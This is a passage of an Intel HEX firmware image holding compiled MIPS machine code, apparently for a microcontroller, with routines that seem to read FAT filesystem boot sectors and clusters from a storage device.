1000c42721108200640043a017\n:1079c0003c00c28f090042240000439020000224a2\n:1079d0000d006210000000001600c2930100432455\n:1079e0001600c3a33c00c38f09006324000063900a\n:1079f000201c037c1000c42721108200640043a0d7\n:107a0000881e400b000000001600c29301004324b2\n:107a10001600c3a31000c32721106200640040a019\n:107a20003c00c28f0a004224000043902000022440\n:107a30000d006210000000001600c29301004324f4\n:107a40001600c3a33c00c38f0a00632400006390a8\n:107a5000201c037c1000c42721108200640043a076\n:107a6000b51e400b000000001600c2930100432425\n:107a70001600c3a31000c32721106200640040a0b9\n:107a8000b51e400b000000001600c0a3b11e400b45\n:107a9000000000001600c2931000c32721106200ee\n:107aa00064004380200002240300621400000000f0\n:107ab000b51e400b000000001600c29301004224d6\n:107ac0001600c2a31600c2930800422cf1ff401416\n:107ad000000000001600c2931000c32721106200ae\n:107ae000640040a0108182978c00401000000000cc\n:107af0002c00c28f4a004010000000001800c0a7f0\n:107b0000ff1e400b000000009c00c28f2c00428c26\n:107b100026004010000000001800c287401002003c\n:107b20004000c38f21106200000042941400c2a3e1\n:107b30001800c38700a0023c4018030044064224fa\n:107b400021106200000042941500c2a31800c387f0\n:107b500000a0023c401803004406422421106200a9\n:107b6000000042940001422c0c0040100000000074\n:107b70001400c29321204000ef58410f0000000084\n:107b8000218040001500c29321204000ef58410f92\n:107b90000000000016000212000000000b0002248a\n:107ba0001000c2af061f400b000000001800c28783\n:107bb000401002004000c38f211062000000439477\n:107bc0001800c48700a0023c402004004406422460\n:107bd00021108200000042940500621000000000a5\n:107be0000b0002241000c2af061f400b0000000073\n:107bf0001800c287010042241800c2a71800c387da\n:107c0000108182972a106200bfff4014000000001c\n:107c1000ab1f400b00000000ab1f400b000000003a\n:107c20002800c28f39004010000000009c00c28f65\n:107c30002c00428c35004010000000007400c22768\n:107c4000212040007b4b410f000000002118400024\n:107c50001081829705006210000000000b000224d2\n:107c60001000c2af401f400b000000001800c0a76a\n:107c70003b1f400b000000001800c28740100200ac\n:107c80004000c38f21106200000042941400c2a380\n:107c90001800c2871000c3272110620064004280d0\n:107ca0001500c2a31400c29321204000ef58410fd9\n:107cb00000000000218040001500c29321204000f8\n:107cc000ef58410f00000000050002120000000004\n:107cd0000b0002241000c2af401f400b0000000048\n:107ce0001800c287010042241800c2a71800c387e9\n:107cf000108182972a106200dfff4014000000000c\n:107d000000000000ab1f400b000000000b0002242d\n:107d10001000c2afab1f400b000000002c00c28f50\n:107d20003f004010000000007400c22721204000e6\n:107d30007b4b410f00000000211840002000c2874b\n:107d400005006210000000000b0002241000c2af0a\n:107d5000ab1f400b000000001800c0a7811f400ba4\n:107d6000000000001800c38700a0023c4018030078\n:107d70004406422421106200000042941400c2a371\n:107d80001800c2871000c3272110620064004280df\n:107d90001500c2a31800c38700a0023c40180300ce\n:107da0004406422421106200000042940001422c4b\n:107db0000c004010000000001400c293212040007d\n:107dc000ef58410f00000000218040001500c293d1\n:107dd00021204000ef58410f000000000600021271\n:107de000000000000b0002241000c2af00000000e1\n:107df000ab1f400b000000001800c28701004224a6\n:107e00001800c2a71800c3872000c2872a1062008a\n:107e1000d4ff401400000000ab1f400b0000000026\n:107e20001600c0a3a71f400b000000001600c2935d\n:107e30003c00c38f21106200000042901400c2a3d6\n:107e40001600c2939c00c38f211062002000428064\n:107e50001500c2a31400c29321204000ef58410f27\n:107e600000000000218040001500c2932120400046\n:107e7000ef58410f00000000050002120000000052\n:107e80000b0002241000c2afab1f400b000000002b\n:107e90001600c293010042241600c2a31600c2932a\n:107ea0000b00422ce1ff4014000000004d22400b6b\n:107eb00000000000108182978a014010000000003d\n:107ec0003000c0af2c00c28f220040100000000024\n:107ed0001c00c2971e00c2a7cb1f400b0000000071\n:107ee0001e00c38700a0023c401803004406422441\n:107ef00021106200000043942e0002240800621446\n:107f000000000000010002243000c2af1e00c28742\n:107f1000ffff42241e00c2a7ce1f400b000000003e\n:107f20001e00c287ffff42241e00c2a71e00c28798\n:107f3000ebff401c000000003000c28f0f00401417\n:107f4000000000001c00c2971e00c2a7df1f400bec\n:107f5000000000003c00c28f080042240000439053\n:107f6000200002240300621000000000010002242f\n:107f70003000c2af070002241e00c2a71081829702\n:107f8000ffff4224ffff42301a00c2a73400c0aff7\n:107f9000f81f400b000000001a00c28740100200ca\n:107fa0004000c38f21106200000043942e00022481\n:107fb0000800621400000000010002243400c2af77\n:107fc0001a00c287ffff42241a00c2a7fb1f400b02\n:107fd000000000001a00c287ffff42241a00c2a757\n:107fe0001a00c287ecff401c000000003400c28f62\n:107ff000050040140000000010818297ffff42241a\n:10800000ffff42301a00c2a71800c0a71800c2879d\n:10801000401002004000c38f211062000000439412\n:108020002a00022403006214000000007d20400b9f\n:10803000000000001800c3871e00c2872a104300fa\n:1080400005004010000000000b0002241000c2af29\n:108050007d20400b000000001800c2874010020085\n:108060004000c38f21106200000043943f000224af\n:108070004b006210000000009c00c28f2c00428c5c\n:1080800033004010000000001800c28740100200ba\n:108090004000c38f21106200000042941400c2a36c\n:1080a0002c00c28f0a004010000000001800c38797\n:1080b00000a0023c40180300440642242110620044\n:1080c000000042941500c2a33920400b00000000bc\n:1080d0001800c2873c00c38f21106200000042904c\n:1080e0001500c2a32c00c28f0a004010000000003f\n:1080f0001800c38700a0023c401803004406422435\n:1081000021106200000042940001422c0c0040103b\n:10811000000000001400c29321204000ef58410fde\n:1081200000000000218040001500c2932120400083\n:10813000ef58410f0000000019000212000000007b\n:108140000b0002241000c2af7d20400b0000000095\n:108150001800c287401002004000c38f2110620047\n:10816000000043941800c48700a0023c4020040093\n:10817000440642242110820000004294040062144c\n:10818000000000002800c28f050040100000000021\n:108190000b0002241000c2af7d20400b0000000045\n:1081a0001800c287010042241800c2a71800c38724\n:1081b0001a00c2872a1043000c0040100000000083\n:1081c0001800c3871e00c2872a1043000500401410\n:1081d000000000000b0002241000c2af7d20400b05\n:1081e000000000007d20400b000000000320400b39\n:1081f000000000003400c28f0b004014000000009b\n:108200003000c38f0100022405006214000000004a\n:108210000b0002241000c2af4d22400b00000000f2\n:108220004d22400b000000003000c28f05004014ba\n:10823000000000000b0002241000c2af4d22400bd2\n:10824000000000002c00c28f07004010000000005a\n:108250001e00c29702004224ffff42301e00c2a748\n:108260009c20400b00000000080002241e00c2a752\n:108270001a00c29702004224ffff42301800c2a732\n:108280001800c287401002004000c38f2110620016\n:10829000000043942a00022403006214000000003e\n:1082a0003721400b000000002c00c28f0600401058\n:1082b000000000001e00c3871c00c2872a10430074\n:1082c00008004014000000002800c28f0900401080\n:1082d000000000001e00c3870b000224050062148a\n:1082e000000000000b0002241000c2af3721400b39\n:1082f000000000001800c287401002004000c38f39\n:1083000021106200000043943f0002244b006210e1\n:10831000000000009c00c28f2c00428c33004010f3\n:10832000000000001800c287401002004000c38f08\n:1083300021106200000042941400c2a32c00c28fde\n:108340000a004010000000001e00c38700a0023c8d\n:1083500040180300440642242110620000004294a9\n:108360001500c2a3e020400b000000001e00c287e1\n:108370003c00c38f21106200000042901500c2a390\n:108380002c00c28f0a004010000000001e00c387ae\n:1083900000a0023c40180300440642242110620061\n:1083a000000042940001422c0c004010000000002c\n:1083b0001400c29321204000ef58410f000000003c\n:1083c000218040001500c29321204000ef58410f4a\n:1083d0000000000019000212000000000b0002243f\n:1083e0001000c2af3721400b000000001800c28708\n:1083f000401002004000c38f21106200000043942f\n:108400001e00c48700a0023c402004004406422411\n:108410002110820000004294040062140000000059\n:108420002800c28f05004010000000000b0002244d\n:108430001000c2af3721400b000000001e00c287b1\n:10844000010042241e00c2a71800c2870100422476\n:108450001800c2a71800c387108182971d006214fc\n:10846000000000002c00c28f060040100000000039\n:108470001e00c3871c00c2872a1043000f00401053\n:10848000000000002800c28f100040100000000013\n:108490001e00c2870b0042280c00401000000000a4\n:1084a0001e00c2873c00c38f211062000000439071\n:1084b0002000022405006210000000000b000224ce\n:1084c0001000c2af3721400b000000003721400be5\n:1084d00000000000a020400b000000004c22400bd8\n:1084e000000000002c00c28f23004010000000009c\n:1084f0001c00c2971800c2a73000c0af5421400b27\n:10850000000000001800c38700a0023c40180300d0\n:108510004406422421106200000043942e000224ed\n:108520000800621400000000010002243000c2af05\n:108530001800c287ffff42241800c2a75721400b32\n:10854000000000001800c287ffff42241800c2a7e5\n:108550001800c287ebff401c000000003000c28ff3\n:1085600007004014000000001c00c2971800c2a7ba\n:108570006021400b00000000070002241800c2a781\n:108580009c00c28f200043802a0002245d006210fc\n:10859000000000001600c0a32c00c28f1300401082\n:1085a000000000001600c39300a0023c4018030026\n:1085b0004406422421106200000042940001422c33\n:1085c00006004010000000001600c3931800c28788\n:1085d0002a10430005004010000000000b00022498\n:1085e0001000c2afc121400b000000002c00c28f60\n:1085f0000a004010000000001600c39300a0023cd7\n:1086000040180300440642242110620000004294f6\n:108610001400c2a38c21400b000000001600c2937e\n:108620003c00c38f21106200000042901400c2a3de\n:108630001600c2939c00c38f21106200200042806c\n:108640001500c2a31500c3932a000224030062147c\n:1086500000000000c121400b000000001500c39382\n:108660003f00022410006210000000001400c293ba\n:1086700021204000ef58410f000000002180400001\n:108680001500c29321204000ef58410f0000000068\n:1086900005000212000000000b0002241000c2af0f\n:1086a000c121400b000000001600c29301004224cb\n:1086b0001600c2a31600c393080002240f00621420\n:1086c000000000002c00c28f0a00401000000000d3\n:1086d0001600c3931800c2872a10430005004014f7\n:1086e000000000000b0002241000c2afc121400bab\n:1086f00000000000c121400b000000006621400b7b\n:10870000000000009c00c28f280043802a00022441\n:1087100087006210000000001000c28f8400401427\n:10872000000000002c00c28f1d004010000000005f\n:108730009c00c28f28004380200002240b0062149a\n:10874000000000003000c38f010002240500621405\n:10875000000000000b0002241000c2af4d22400bad\n:10876000000000004d22400b000000003000c28fce\n:1087700005004014000000000b0002241000c2afee\n:108780004d22400b000000001800c2970200422456\n:10879000ffff42301800c2a7ea21400b0000000092\n:1087a000080002241800c2a7080002241600c2a371\n:1087b0002c00c28f13004010000000001800c38777\n:1087c00000a0023c4018030044064224211062002d\n:1087d000000042940001422c0600401000000000fe\n:1087e0001800c3871c00c2872a10430005004010f0\n:1087f000000000000b0002241000c2af4c22400b0e\n:10880000000000001600c2939c00c38f211062007c\n:10881000200042801500c2a32c00c28f0d00401022\n:10882000000000001800c287010043241800c3a7fd\n:108830002118400000a0023c4018030044064224d6\n:1088400021106200000042941400c2a31c22400bbd\n:10885000000000001800c287010043241800c3a7cd\n:108860003c00c38f21106200000042901400c2a39c\n:108870001500c3932a0002240300621400000000c4\n:108880004c22400b000000001500c3933f0002245f\n:1088900010006210000000001400c293212040006c\n:1088a000ef58410f00000000218040001500c293e6\n:1088b00021204000ef58410f000000000500021287\n:1088c000000000000b0002241000c2af4c22400b3d\n:1088d000000000001600c293010042241600c2a34b\n:1088e0001600c3930b0002240f0062140000000066\n:1088f0002c00c28f0a004010000000001800c3873f\n:108900001c00c2872a10430005004014000000002c\n:108910000b0002241000c2af4c22400b00000000ec\n:108920004c22400b00000000ec21400b0000000036\n:10893000000000001000c28f47004014000000003b\n:108940002c00c28f05004010000000004c00c297b0\n:1089500001004224ffff42304c00c2a74c00c22756\n:108960009800c48f212840008038400f000000008c\n:108970004800c2a32c00c28f050040100000000078\n:108980004c00c297ffff4224ffff42304c00c2a7b9\n:108990009800c28f3a0042944a00c2a74a00c29788\n:1089a0003f0042304a00c2a7a400c2930600401014\n:1089b00000000000010003240d004310000000002f\n:1089c0009622400b000000004a00c39708000224d2\n:1089d00005006214000000000b0002241000c2af6a\n:1089e0008f22400b000000008f22400b000000008f\n:1089f0004a00c3974600c29724106200ffff42302e\n:108a000003004010000000000b0002241000c2af61\n:108a10002c00c28f06004010000000002000c39709\n:108a20009800c28f340043a48e22400b0000000047\n:108a30009800c28f340040a4000000009622400b32\n:108a4000000000002400c0afa000c2930200401448\n:108a5000000000001000c0af4c00c297010042248b\n:108a6000ffff42304c00c2a74a1c400b0000000030\n:108a70004a1c400b000000001000c28f21e8c00318\n:108a80009400bf8f9000be8f8c00b08f9800bd27e0\n:108a90000800e00300000000d8ffbd272400bfaf9e\n:108aa0002000beaf21f0a0032800c4af2c00c5af4a\n:108ab0002110c0003000c2a31000c0af2800c28f38\n:108ac0000000428c1400c2af1400c28f25004290f7\n:108ad0000500401400000000070002241000c2af8f\n:108ae0004023400b000000002800c28f3c00438c54\n:108af0002800c28f400043ac2c00c28f000042947b\n:108b00000c004014000000002800c48f2c00c58f0a\n:108b100001000624e72f400f00000000130040145e\n:108b2000000000001b0002241000c2afdb22400b3b\n:108b3000000000002c00c28f000042940f00423061\n:108b40000a004010000000002800c48f2c00c58fd0\n:108b500001000624e72f400f00000000030040142e\n:108b6000000000001b0002241000c2af2800c48fc8\n:108b70002c00c58f8038400f000000001800c2a3f1\n:108b80001800c29305004010000000000b000224f2\n:108b90001000c2af4023400b000000002800c28f2d\n:108ba000100040ac2800c28f0400438c2800c28f04\n:108bb000080043ac2800c28f0c0040a42800c28fdc\n:108bc0000e0040a41800c3930100022405006214a3\n:108bd000000000000b0002241000c2af2023400b55\n:108be000000000002800c28f0800428c1400c48fcf\n:108bf000212840006d3f400f000000001c00c2af64\n:108c00004480829308004010000000003241400f71\n:108c100000000000040040100000000009000224d1\n:108c20004123400b000000002800c28f408082af2b\n:108c30000880838f1c00c28f1100621000000000aa\n:108c4000468080a31400c28f030043882120600067\n:108c500000004498211080001c00c48f212840008f\n:108c6000e5d5400f000000000300401400000000a4\n:108c7000080002241000c2af1c00c28f088082af1f\n:108c80002800c38f180062908410027c180062a034\n:108c90003000c3837700022405006210000000004a\n:108ca0003000c383610002240c0062140000000045\n:108cb0002800c38f18006290010004240400827c05\n:108cc000180062a02800c38f180062904408027c3c\n:108cd000180062a04023400b000000002800c38f52\n:108ce000180062900400027c180062a02800c38f64\n:108cf00018006290010004244408827c180062a0dd\n:108d00001000c28f21e8c0032400bf8f2000be8f57\n:108d10002800bd270800e00300000000d0ffbd27a9\n:108d20002c00bfaf2800beaf21f0a0033000c4afbd\n:108d30003400c5af1800c0a33000c28f0000428cc1\n:108d40001c00c2af1c00c28f24004290010003240b\n:108d50000c00431000000000030003240f00431424\n:108d600000000000ff0f023cf8ff42341400c2afc5\n:108d7000ff0f023cffff42341000c2af6c23400bd8\n:108d800000000000f80f02241400c2afffff0234fd\n:108d90001000c2af6c23400b00000000f8ff02344b\n:108da0001400c2afffff02341000c2af0000000089\n:108db0003000c28f0800428c2000c2af1c00c48f5c\n:108dc0002000c58f8f49400f000000002400c2af73\n:108dd0002400c38f1000c28f050062140000000041\n:108de000080002241800c2a38f23400b00000000db\n:108df0001c00c28f1900438821206000160044988f\n:108e000021108000020043242400c28f2b10430055\n:108e100003004014000000000a0002241800c2a34e\n:108e20002400c38f1400c28f2b1062000300401473\n:108e3000000000003c0002241800c2a33000c28fd2\n:108e40002400c38f080043ac3400c28fffff4224cc\n:108e50003400c2af3400c28f040040100000000094\n:108e60001800c293d2ff4010000000001800c29307\n:108e700021e8c0032c00bf8f2800be8f3000bd2723\n:108e80000800e00300000000e0ffbd271c00bfafaa\n:108e90001800beaf21f0a0032000c4af1000c0a393\n:108ea0002000c28f250040a02000c28f00a0033cfc\n:108eb00000046324030043a8000043b8c1d9400f55\n:108ec000000000001400c2af1400c28f00004290e6\n:108ed0000700401000000000060002241000c2a39a\n:108ee00006000224348182a3e523400b0000000029\n:108ef0001400c28f0000429400014230ffff423054\n:108f000013004010000000001400c28f02004294c1\n:108f1000211840002000c28f1d0043a81a0043b84a\n:108f20001400c28f020042940102422c0800401437\n:108f300000000000210002241000c2a3210002242e\n:108f4000348182a31000c293e623400b000000008e\n:108f50002000c48fec23400f000000001000c2a3cb\n:108f60001000c2930b004014000000002000c48fca\n:108f70000e25400f000000001000c2a31000c29395\n:108f800004004014000000002000c28f01000324f0\n:108f9000250043a01000c29321e8c0031c00bf8f2e\n:108fa0001800be8f2000bd270800e003000000006d\n:108fb000d0ffbd272c00bfaf2800beaf21f0a0031b\n:108fc0003000c4af1000c0a33000c28f030043883c\n:108fd0002120600000004498211080002120000022\n:108fe00021284000e5d5400f000000002118400076\n:108ff00001000224070062100000000008000224a3\n:109000001000c2a308000224348182a30725400b6c\n:10901000000000003000c28f030043882120600060\n:1090200000004498211080001800c2af1800c28fc1\n:10903000fe014390550002249a00621400000000d3\n:109040001800c28fff014390aa0002249500621409\n:10905000000000003000c28f030043882120600020\n:109060000000449821108000212040003600052493\n:10907000183f400f00000000211840004600022465\n:109080003e006214000000003000c28f03004388dd\n:109090002120600000004498211080002120400021\n:1090a00037000524183f400f000000002118400041\n:1090b0004100022431006214000000003000c28f21\n:1090c00003004388212060000000449821108000a4\n:1090d0002120400038000524183f400f0000000008\n:1090e00021184000540002242400621400000000f3\n:1090f0003000c28f030043882120600000004498a4\n:10910000211080002120400039000524183f400f25\n:1091100000000000211840003100022417006214f2\n:10912000000000003000c28f03004388212060004f\n:1091300000004498211080002120400026000524d2\n:10914000183f400f000000002118400029000224b1\n:109150000a006214000000003000c28f070040a81f\n:10916000040040b83000c28f02000324240043a052\n:10917000211000000825400b000000003000c28fc5\n:1091800003004388212060000000449821108000e3\n:109190002120400052000524183f400f000000002d\n:1091a00021184000460002243e0062140000000026\n:1091b0003000c28f030043882120600000004498e3\n:1091c000211080002120400053000524183f400f4b\n:1091d0000000000021184000410002243100621408\n:1091e000000000003000c28f03004388212060008f\n:1091f00000004498211080002120400054000524e4\n:10920000183f400f000000002118400054000224c5\n:1092100024006214000000003000c28f0300438865\n:10922000212060000000449821108000212040008f\n:1092300055000524183f400f000000002118400091\n:109240003300022417006214000000003000c28fb7\n:109250000300438821206000000044982110800012\n:109260002120400042000524183f400f000000006c\n:1092700021184000290002240a00621400000000a6\n:109280003000c28f070040a8040040b83000c28ff1\n:1092900003000324240043a0211000000825400bf4\n:1092a000000000003000c28f0300438821206000ce\n:1092b00000004498211080001c00c2af1c00c28f27\n:1092c000fe014390550002240600621400000000d5\n:1092d0001c00c28fff014390aa0002240700621005\n:1092e0000000000004000224348182a30400022450\n:1092f0001000c2a30725400b000000001c00c28f15\n:10930000be0142241400c2af1100c0a3ff24400bd1\n:10931000000000001400c28f0b004388080043982f\n:109320003000c28f070043a8040043b81400c28f66\n:10933000040042902000c2a32000c2930f00432cdf\n:10934000280060100000000080180200019d023c0f\n:1093500064934224211062000000428c0800400007\n:1093600000000000e493009da093009de493009d05\n:10937000e493009db493009de493009db493009dfd\n:10938000e493009de493009de493009de493009d8d\n:10939000cc93009dcc93009de493009db493009ddd\n:1093a0003000c28f01000324240043a0f924400ba5\n:1093b000000000003000c28f02000324240043a0fc\n:1093c0001000c2930825400b000000003000c28f3f\n:1093d00003000324240043a01000c2930825400b7f\n:1093e000000000001400c28f100042241400c2af1d\n:1093f0001100c293010042241100c2a31100c293c4\n:109400000400422cc3ff40140000000005000224a9\n:10941000348182a3050002241000c2a31000c2936d\n:1094200021e8c0032c00bf8f2800be8f3000bd276d\n:109430000800e00300000000c8ffbd273400bfaff4\n:109440003000beaf21f0a0033800c4af1400c0a3a9\n:109450001800c0af1c00c0af3800c28f070043889f\n:10946000040043983800c28f0300448821288000fc\n:10947000000045982110a000212060002128400014\n:10948000e5d5400f00000000211840000100022433\n:109490000500621000000000080002241400c2a3ae\n:1094a000f626400b000000003800c28f03004388fe\n:1094b00021306000000046982110c0002000c2af9b\n:1094c0002000c28ffe014390550002240600621462\n:1094d000000000002000c28fff014390aa00022478\n:1094e0000500621000000000030002241400c2a363\n:1094f0005226400b000000003800c28f0300438852\n:1095000021206000000044982110800021204000ac\n:109510000e000524273f400f000000002400c2a7d2\n:109520003800c28f0300438821286000000045985e\n:109530002110a000212040000d000524183f400ffd\n:1095400000000000211840003800c28f230043a013\n:109550003800c28f07004388040043982400c29754\n:10956000211862003800c28f0b0043a8080043b8de\n:109570003800c28f03004388213060000000469805\n:109580002110c0002120400010000524183f400f8a\n:1095900000000000211840003800c28f220043a0c4\n:1095a0003800c28f030043882120600000004498e7\n:1095b000211080002120400016000524273f400f85\n:1095c00000000000211840003800c28f210043a88d\n:1095d0001e0043b83800c28f210043882128600054\n:1095e0001e0045982110a0000e004014000000004d\n:1095f0003800c28f03004388213060000000469885\n:109600002110c0002120400024000524483f400fc5\n:1096100000000000211840003800c28f210043a83c\n:109620001e0043b83800c28f0b00438808004398df\n:109630003800c28f22004290212040003800c28fa3\n:10964000210045882130a0001e0046982110c0004e\n:109650001800820012100000211862003800c28f2a\n:109660000f0043a80c0043b83800c28f03004388a2\n:10967000212060000000449821108000212040003b\n:1096800011000524273f400f000000002118400072\n:109690003800c28fff006430140045900000a530f0\n:1096a0002520a400140044a0021a0300ffff633029\n:1096b000150044900000843025188300150043a055\n:1096c0003800c28f030043882128600000004598bd\n:1096d0002110a0002120400013000524273f400f47\n:1096e000000000001000c2af1000c28f0b00401439\n:1096f000000000003800c28f030043882130600062\n:10970000000046982110c0002120400020000524c0\n:10971000483f400f000000001000c2af3800c28f69\n:10972000030043882120600000004498211080003d\n:10973000212040000b000524273f400f00000000bf\n:109740002600c2a72600c2970500401000000000b6\n:109750002600c297010042300500401000000000c2\n:10976000210002241400c2a35226400b0000000076\n:109770003800c28f1400439015004290001202007e\n:1097800025104300ffff4230401902002600c29717\n:10979000ffff4224211862002600c2971a006200cf\n:1097a000f401400010100000121000002800c2afa9\n:1097b0002400c3973800c28f22004290212040002d\n:1097c0003800c28f210045882130a0001e00469835\n:1097d0002110c00018008200121000002118620041\n:1097e0002800c28f211062001000c38f2310620076\n:1097f0002c00c2af3800c28f230042902c00c38fd0\n:109800001b006200f401400010100000121800005c\n:109810003800c28f190043a8160043b83800c28f21\n:109820001900438821206000160044982110800010\n:10983000f50f422c06004010000000003800c28fd7\n:1098400001000324240043a02326400b0000000055\n:109850003800c28f1900438816004398f5ff023480\n:109860002b10620006004010000000003800c28f7c\n:1098700002000324240043a02326400b0000000024\n:109880003800c28f03000324240043a03800c28f95\n:10989000240043900300022415006214000000001d\n:1098a0003800c28f030043882128600000004598db\n:1098b0002110a000212040002c000524483f400f2b\n:1098c00000000000248182af3800c28f0f0043885f\n:1098d0000c0043982800c28f211862003800c28f04\n:1098e000130043a8100043b84c26400b00000000b2\n:1098f000248180af3800c28f0f0043880c0043984a\n:109900003800c28f140044901500429000120200eb\n:1099100025104400ffff423002110200ffff4230d9\n:10992000211862003800c28f130043a8100043b80a\n:109930002600c2970102422c0300401400000000e0\n:10994000210002241400c2a33800c28f24004390d7\n:10995000030002240e006210000000001400c293f5\n:1099600099004010000000002000c28f4200439088\n:109970002900022406006210000000002000c28faf\n:1099800042004390280002248f006214000000006f\n:109990002000c28f13004390140042900012020076\n:1099a00025104300ffff42303b0040140000000040\n:1099b0002000c28f340042903700401400000000a5\n:1099c0002000c28f35004290330040140000000098\n:1099d0002000c28f360042902f004014000000008b\n:1099e0002000c28f370042902b004014000000007e\n:1099f0002000c28f38004290270040140000000071\n:109a00002000c28f39004290230040140000000063\n:109a10002000c28f3a0042901f0040140000000056\n:109a20002000c28f3b0042901b0040140000000049\n:109a30002000c28f3c00429017004014000000003c\n:109a40002000c28f3d00429013004014000000002f\n:109a50002000c28f3e0042900f0040140000000022\n:109a60002000c28f3f0042900b0040140000000015\n:109a70002000c28f42004390290002240800621097\n:109a8000000000002000c28f420043902800022402\n:109a90000300621000000000030002241400c2a3af\n:109aa0001400c29325004010000000001800c28f6f\n:109ab0002200401400000000010002241800c2af80\n:109ac0003800c28f07004388040043982000c28feb\n:109ad00032004490330042900012020025104400ee\n:109ae000ffff4230211862003800c28f0300448813\n:109af00021308000000046982110c0002120600025\n:109b000021284000e5d5400f00000000211840004a\n:109b10000100022406006210000000000800022478\n:109b2000348182a308000224fc26400b00000000c0\n:109b30001400c0a3f426400b000000001400c293e0\n:109b400021004010000000001c00c28f1e004014c5\n:109b500000000000010002241c00c2af3800c28fc8\n:109b600007004388212060000400449821108000f1\n:109b7000060043243800c28f030044882128800057\n:109b8000000045982110a0002120600021284000fd\n:109b9000e5d5400f0000000021184000010002241c\n:109ba000060062100000000008000224348182a335\n:109bb00008000224fc26400b000000001400c0a393\n:109bc000f426400b00000000f626400b00000000c9\n:109bd0003025400b000000001400c2930300401029\n:109be000000000001400c293348182a31400c293c9\n:109bf00021e8c0033400bf8f3000be8f3800bd277e\n:109c00000800e00300000000f0ffbd270c00beaf1d\n:109c100021f0a0031000c4af0000c0af1000c28f3d\n:109c2000140042940000c2af0000c28f0014020072\n:109c30000000c2af1000c28f1a0042940000c38f10\n:109c4000251062000000c2af0000c28f21e8c003ef\n:109c50000c00be8f1000bd270800e00300000000cc\n:109c6000d8ffbd272400bfaf2000beaf21f0a00366\n:109c70002800c4af2c00c5af1000c0af2800c28fb1\n:109c800005004010000000002c00c28f0200422c92\n:109c90000400401000000000ffff02242128400bb8\n:109ca000000000002c00c28fffff43242800c28f59\n:109cb0002b1062000400401000000000ffff02248f\n:109cc0002128400b000000004480829308004010cf\n:109cd000000000003241400f00000000040040106e\n:109ce00000000000ffff02242128400b00000000bc\n:109cf00000a0023c000444242128000000020624a5\n:109d00007152410f0000000000a0023c00044224f8\n:109d10001400c2af2800c28f1800c2af1800c38f52\n:109d20001505023c5b564234190062001010000019\n:109d3000231862004218030021104300421302005e\n:109d4000801302001000c2af1800c48f1505023c3a\n:109d50005b56423419008200101000002318820064\n:109d60004218030021104300421b02002110600032\n:109d70008011020023104300001a02002318620021\n:109d8000231083001800c2af1800c38f1004023cd8\n:109d900005414234190062001010000023186200cf\n:109da00042180300211043004211020080110200fa\n:109db0001000c38f251062001000c2af1800c38fbf\n:109dc0001004023c054142341900620010100000ea\n:109dd000232062004220040021104400422102009e\n:109de0002110800080110200231044002310620023\n:109df0001800c2af1800c28f010042241000c38fa8\n:109e0000251062001000c2af1000c28f02140200c1\n:109e1000ff00433000a0023c00044224bf0143a0e5\n:109e20001000c28f02120200ff00433000a0023c6b\n:109e300000044224c00143a01000c28fff00433041\n:109e400000a0023c00044224c10143a02c00c38fa7\n:109e50002800c28f231862001400c28fcd0143a8ce\n:109e6000ca0143b81400c28fcd014388212060008d\n:109e7000ca014498211080003910422c060040107d\n:109e8000000000001400c28f01000324c20143a09f\n:109e9000b627400b000000001400c28fcd0143889c\n:109ea000ca0143983f00023c60fd42342b1062001f\n:109eb00006004010000000001400c28f06000324ba\n:109ec000c20143a0b627400b00000000ffff0224a0\n:109ed0002128400b000000001400c28f2800c38f0f\n:109ee000c90143a8c60143b82800c38f2c00c28f04\n:109ef00021106200ffff42241800c2af1800c38f78\n:109f00001505023c5b564234190062001010000037\n:109f1000231862004218030021104300421302007c\n:109f2000801302001000c2af1800c48f1505023c58\n:109f30005b56423419008200101000002318820082\n:109f40004218030021104300421b02002110600050\n:109f50008011020023104300001a0200231862003f\n:109f6000231083001800c2af1800c38f1004023cf6\n:109f700005414234190062001010000023186200ed\n:109f80004218030021104300421102008011020018\n:109f90001000c38f251062001000c2af1800c38fdd\n:109fa0001004023c05414234190062001010000008\n:109fb00023206200422004002110440042210200bc\n:109fc0002110800080110200231044002310620041\n:109fd0001800c2af1800c28f010042241000c38fc6\n:109fe000251062001000c2af1000c28f02140200e0\n:109ff000ff00433000a0023c00044224c30143a000\n:10a000001000c28f02120200ff00433000a0023c89\n:10a0100000044224c40143a01000c28fff0043305b\n:10a0200000a0023c00044224c50143a01400c28fda\n:10a03000be0140a01400c28f55000324fe0143a0be\n:10a040001400c28faaff0324ff0143a021200000b7\n:10a0500000a0023c00044524010006249ad8400fc9\n:10a0600000000000211840000100022404006210da\n:10a0700000000000ffff02242128400b0000000028\n:10a080002110000021e8c0032400bf8f2000be8ff4\n:10a090002800bd270800e0030000000090ffbd2756\n:10a0a0006c00bfaf6800beaf21f0a003211080009c\n:10a0b0007400c5af7800c6af7000c2a33c00c227d1\n:10a0c0002400c2af348180a3468080a33c8080a35b\n:10a0d000ffff0224048082afffff0224088082afca\n:10a0e0002400c28f00a0033c00046324030043a8a3\n:10a0f000000043b804d5400f00000000c1d9400f54\n:10a10000000000002800c2af2800c28f000042906b\n:10a11000060040100000000006000224348182a3e3\n:10a12000ffff0224122f400b00000000212000003e\n:10a1300000a0023c00044524e5d5400f00000000cb\n:10a1400006004014000000001b000224348182a39a\n:10a15000ffff0224122f400b000000002400c28fda\n:10a1600003004388212060000000449821108000f3\n:10a170002c00c2af2c00c28ffe0143905500022478\n:10a1800071006214000000002c00c28fff01439098\n:10a19000aa0002246c006214000000002400c28f98\n:10a1a0000300438821286000000045982110a0008a\n:10a1b0002120400036000524183f400f0000000019\n:10a1c00021184000460002245400621400000000e0\n:10a1d0002400c28f030043882130600000004698ad\n:10a1e0002110c0002120400037000524183f400ff7\n:10a1f00000000000211840004100022447006214c2\n:10a20000000000002400c28f03004388212060006a\n:10a2100000004498211080002120400038000524cf\n:10a22000183f400f00000000211840005400022495\n:10a230003a006214000000002400c28f030043882b\n:10a2400021286000000045982110a0002120400036\n:10a2500039000524183f400f00000000211840007d\n:10a26000310002242d006214000000002400c28f7f\n:10a270000300438821306000000046982110c00090\n:10a280002120400026000524183f400f0000000058\n:10a290002118400029000224200062140000000060\n:10a2a0001000c0af7000c2830b004010000000001f\n:10a2b000010003240300431000000000c328400bea\n:10a2c000000000001f000224348182a3ffff02244b\n:10a2d000122f400b000000002400c28f070040a88e\n:10a2e000040040b82400c48f0e25400f0000000079\n:10a2f00006004010000000001b000224348182a3ed\n:10a30000ffff0224122f400b00000000000000009d\n:10a3100000000000d728400b0000000000a0023c15\n:10a32000000442241000c2af1000c28fc90143884c\n:10a33000c60143982400c28f070043a8040043b815\n:10a34000d728400b0000000004000224348182a3bf\n:10a35000ffff0224122f400b000000007000c28398\n:10a360000204401000000000010003240b04431409\